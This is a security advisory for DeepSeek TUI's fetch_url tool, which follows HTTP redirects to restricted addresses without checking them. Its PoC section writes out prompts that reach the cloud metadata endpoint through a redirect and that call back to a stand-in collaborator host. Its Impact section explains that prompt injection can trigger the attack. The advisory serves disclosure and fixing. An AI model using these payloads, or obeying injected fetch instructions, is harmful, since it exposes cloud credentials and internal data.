GHSA-96ff-gc8g-wpvg
DeepSeek TUI has SSRF via HTTP Redirect Bypass in fetch_url Tool
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| crates.io | deepseek-tui | < 0.8.22 | 0.8.22 |
| crates.io | deepseek-tui-cli | < 0.8.22 | 0.8.22 |
| npm | deepseek-tui | < 0.8.22 | 0.8.22 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
The `fetch_url` tool validates the initial URL's resolved IP address against a restricted-IP blocklist (`is_restricted_ip()`) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (`reqwest`) is configured to automatically follow up to 5 redirects (`reqwest::redirect::Policy::limited(5)`) without re-validating the redirect target against the same SSRF protections.
### PoC
**Step 1 — Baseline:** Confirm `fetch_url` blocks direct requests to restricted IPs.
```
Prompt: use fetch_url to fetch http://169.254.169.254/latest/meta-data/
Expected: Error — "restricted address (private/loopback/link-local)"
```
**Step 2 — SSRF bypass via redirect:** Fetch a public URL that redirects to the restricted IP.
```
Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/&status_code=302
```
**Expected result:** The error message says "connection refused" or "request failed: connect error" — NOT "restricted address." This proves the SSRF filter was bypassed; the connection failed only because `169.254.169.254` is unreachable from a non-cloud machine.
**Observed result:** `fetch_url` followed the 302 redirect and attempted to connect to `169.254.169.254`. The error was a TCP-level connection failure, confirming the application-layer SSRF check was not applied to the redirect target.
**Step 3 — Redirect to attacker-controlled host:** Confirm attacker-controlled redirect targets are followed.
```
Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://[collaborator-domain]/ssrf-redirect-bypass&status_code=302
Expected: Collaborator receives HTTP callback at /ssrf-redirect-bypass, confirming the redirect was followed.
```
### Impact
On cloud-hosted instances (AWS, GCP, Azure), an attacker can exfiltrate cloud IAM credentials, instance metadata, and other sensitive internal service data by redirecting `fetch_url` to `http://169.254.169.254/latest/meta-data/`. The attack is triggered via prompt injection (malicious instructions embedded in files or web content the model processes) that cause the model to call `fetch_url` with an attacker-controlled URL.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/Hmbown/CodeWhale/security/advisories/GHSA-96ff-gc8g-wpvg
- https://github.com/Hmbown/DeepSeek-TUI/security/advisories/GHSA-96ff-gc8g-wpvg
- https://nvd.nist.gov/vuln/detail/CVE-2026-45310
- https://github.com/Hmbown/DeepSeek-TUI
- https://github.com/Hmbown/DeepSeek-TUI/releases/tag/v0.8.22